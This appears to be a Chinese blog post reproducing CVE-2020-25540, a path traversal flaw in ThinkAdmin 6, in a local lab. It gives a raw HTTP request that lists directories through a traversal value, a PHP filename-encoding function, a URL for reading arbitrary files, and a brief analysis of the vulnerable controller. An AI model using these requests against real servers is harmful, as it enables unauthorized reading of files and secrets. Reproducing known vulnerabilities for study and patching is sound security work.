ThinkAdmin漏洞(CVE-2020-25540 )復現
簡介
ThinkAdmin是一套基於ThinkPHP框架的通用後臺管理系統
漏洞概述
ThinkAdmin6版本存在路徑遍歷漏洞。該漏洞主要是因為api中存在危險函式,沒有任何過濾。攻擊者可利用該漏洞通過請求編碼引數任意讀取遠端伺服器上的任意檔案。
影響版本
ThinkAdmin版本小於 ≤ 2020.08.03.01
環境搭建
使用phpstudy進行安裝
設定阿里雲 Composer 代理
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
ThinkAdmin下載地址
https://github.com/179776823/ThinkAdmin
進入ThinkAdmin目錄進行安裝
cd ThinkAdmin-6
composer install
php進行執行
php think run
http://127.0.0.1:8000開啟頁面
漏洞復現
列目錄
poc
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
rules=%5b%22%2e%5c%2f%22%5d
任意檔案讀取
在根目錄新建1.txt檔案
使用加密函式對1.txt檔名進行加密
function encode($content){ list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars;}
得到資料加密資料1d1a383c38
http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38
漏洞分析
列目錄分析
ThinkAdmin-6\app\admin\controller\api\Update.php檔案中
node函式把post傳過來的rules給getlist()函式
跳轉到getlist函式
迴圈讀取改目錄下的所有檔案
傳個[".\/"]給rules即可獲取
任意檔案讀取分析
ThinkAdmin-6\app\admin\controller\api\Update.php檔案中
get函式,解密後讀取
根據檔名加密後傳入即可獲取base64加密的內容,解密即可
相關文章
- 【漏洞復現】ThinkAdmin v5和v6 未授權列目錄任意檔案讀取(CVE-2020-25540)
- Apache漏洞復現Apache
- weblogic 漏洞復現Web
- 笑臉漏洞復現
- phpStudy poc漏洞復現以及漏洞修復辦法PHP
- 【阿菜漏洞復現】DeFi 平臺 MonoX Finance 漏洞分析及復現MonoNaN
- weblogic ssrf漏洞復現Web
- Vulhub WebLogic漏洞復現Web
- Tomcat系列漏洞復現Tomcat
- 護網漏洞復現(三)
- 【漏洞復現】Redis未授權訪問漏洞Redis
- Weblogic-SSRF漏洞復現Web
- nginx目錄穿越漏洞復現Nginx
- 【漏洞復現】Paraluni 安全事件分析事件
- Redis未授權漏洞復現Redis
- 某小型CMS漏洞復現審計
- 資料庫安全-ElasticSearch漏洞復現資料庫Elasticsearch
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- Fastjson反序列化漏洞復現ASTJSON
- PHPMailer遠端命令執行漏洞復現PHPAI
- 常見中介軟體漏洞復現(上)
- 技術分享 | Fastjson-RCE漏洞復現ASTJSON
- CSRF漏洞復現及測試工具講解
- tomcat弱口令後臺getshell漏洞復現Tomcat
- 從CVE復現看棧溢位漏洞利用
- nginx檔名邏輯漏洞_CVE-2013-4547漏洞復現Nginx
- 詳解ShellShock 漏洞復現原理,內附ShellShock的修復方法
- Fastjson1.2.24反序列化漏洞復現ASTJSON
- apache log4j2 漏洞復現linuxApacheLinux
- CODESYS V3遠端堆溢位漏洞復現(環境配置+復現過程)
- Nginx解析漏洞復現以及哥斯拉連線Webshell實踐NginxWebshell
- weblogic(CVE-2019-2725)漏洞復現Web
- Redis v6.0.5未授權訪問漏洞復現Redis
- docker逃逸漏洞復現(CVE-2019-5736)Docker
- 怎麼修復網站漏洞騎士cms的漏洞修復方案網站
- PrestaShop網站漏洞修復如何修復REST網站
- spring boot (whitelabel error page SpEL RCE) 漏洞復現Spring BootError
- xxl-job預設accessToken命令執行漏洞復現